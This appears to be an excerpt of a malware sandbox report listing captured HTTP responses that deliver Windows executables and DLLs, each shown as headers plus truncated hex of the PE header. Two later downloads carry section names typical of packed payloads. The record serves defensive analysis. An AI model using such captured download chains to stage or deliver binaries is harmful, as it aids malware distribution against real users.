Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 18:34:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 18:34:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 18:34:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 18:34:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 18:34:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 04 Jul 2024 18:34:11 GMTContent-Type: application/octet-streamContent-Length: 1914880Last-Modified: Thu, 04 Jul 2024 17:41:44 GMTConnection: keep-aliveETag: "6686ded8-1d3800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 80 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4b 00 00 04 00 00 af a6 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 6c 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 6c 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 72 64 73 64 70 75 63 00 20 1a 00 00 50 31 00 00 20 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 67 67 74 6b 71 66 00 10 00 00 00 70 4b 00 00 04 00 00 00 12 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4b 00 00 22 00 00 00 16 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 04 Jul 2024 18:34:23 GMTContent-Type: application/octet-streamContent-Length: 2531328Last-Modified: Thu, 04 Jul 2024 18:30:52 GMTConnection: keep-aliveETag: "6686ea5c-26a000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c8 e6 86 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 74 25 bf 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 bf 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 00 9d 00 57 0c 00 00 78 0c 9d 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 79 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 70 22 00 00 d0 9c 00 00 6c 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
